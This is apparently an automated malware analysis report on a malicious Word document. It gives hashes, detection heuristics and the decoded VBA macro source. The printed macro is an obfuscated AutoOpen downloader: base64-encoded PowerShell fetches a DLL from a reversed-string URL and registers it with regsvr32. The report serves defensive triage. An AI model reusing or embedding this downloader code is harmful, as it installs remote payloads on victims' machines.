Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81f077c643a117d4…

MALICIOUS

Office (OLE)

66.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: d36a1eff262212ceb3c6395f5d64b708 SHA-1: c405e7d35795aa5245ab4cb606baf57c2a6e9fc3 SHA-256: 81f077c643a117d4f1470979b491029c5137331fccf5057ffb1e54bf9ed5c7d3
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code

The sample contains a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. The macro utilizes CreateObject to execute a PowerShell command that downloads a file from a hardcoded URL and saves it as 'keys.dll' in the user's profile. This suggests a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-7639395-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7639395-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2579 bytes
SHA-256: 41c47773767e5b1cbc6ed5caa367379827d91ffb3ecd14edbd6be8c623b8d043
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function LZF_E557D23F107823D52F4CF437FB840095DAD10146(data, encoder)
    With CreateObject("Msxml2.DOMDocument").CreateElement("tmp")
        .dataType = encoder
        .Text = data
        LZF_E557D23F107823D52F4CF437FB840095DAD10146 = .nodeTypedValue
    End With
End Function

Function LZF_846CA4EA7C3D7E73B247F7E39F8E8C063326BC58(LZF_43400B6B89DCF4137FE4BB45150EC218C5A8A785, LZF_331CBEF4A811225A583B1AB545D0C94D1F17E133, LZF_A0A15DD64A364560C0DB2F9C4590C723157668FE)
 LZF_846CA4EA7C3D7E73B247F7E39F8E8C063326BC58 = Replace(LZF_43400B6B89DCF4137FE4BB45150EC218C5A8A785, LZF_331CBEF4A811225A583B1AB545D0C94D1F17E133, LZF_A0A15DD64A364560C0DB2F9C4590C723157668FE)
End Function

Sub AutoOpen()


LZF_6ABCB83F3F4C540C9FB6B693B0F1CA7A2ABB1127 = LZF_E557D23F107823D52F4CF437FB840095DAD10146("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwAlAFUAVQBVAFUAJQAiACAALQBPAHUAdABGAGkAbABlACAAJABFAE4AVgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQBcAGsAZQB5AHMALgBkAGwAbAAiAA==", "bin.base64")
'Down, down, down.  Would the fall NEVER come to an end!  `I
'wonder how many miles I've fallen by this time?' she said aloud.
'`I must be getting somewhere near the centre of the earth.  Let
'me see:  that would be four thousand miles down, I think--' (for,
'you see, Alice had learnt several things of this sort in her
'lessons in the schoolroom, and though this was not a VERY good
'opportunity for showing off her knowledge, as there was no one to
'listen to her, still it was good practice to say it over) `--yes,
'that 's about the right distance--but then I wonder what Latitude
'or Longitude I've got to?'  (Alice had no idea what Latitude was,
'or Longitude either, but thought they were nice grand words to
'say.)

k = "AUwBsAGUAZQBwACAALQBzACAANQAwAAoAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgACQAZQBuAHYAOgBVAHMAZQByAHAAcgBvAGYAaQBsAGUAXABrAGUAeQBzAC4AZABsAGwAIgA="
VBA.Shell@ LZF_846CA4EA7C3D7E73B247F7E39F8E8C063326BC58(LZF_6ABCB83F3F4C540C9FB6B693B0F1CA7A2ABB1127, "%U" & "UUU%", StrReverse("bac.3leyz=l?php.ryrntb/fkydaj/moc.i6t1cp"))
VBA.Shell% LZF_E557D23F107823D52F4CF437FB840095DAD10146("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIAUwB0AGEAcgB0AC0" + k, "bin.base64"), 0

End Sub

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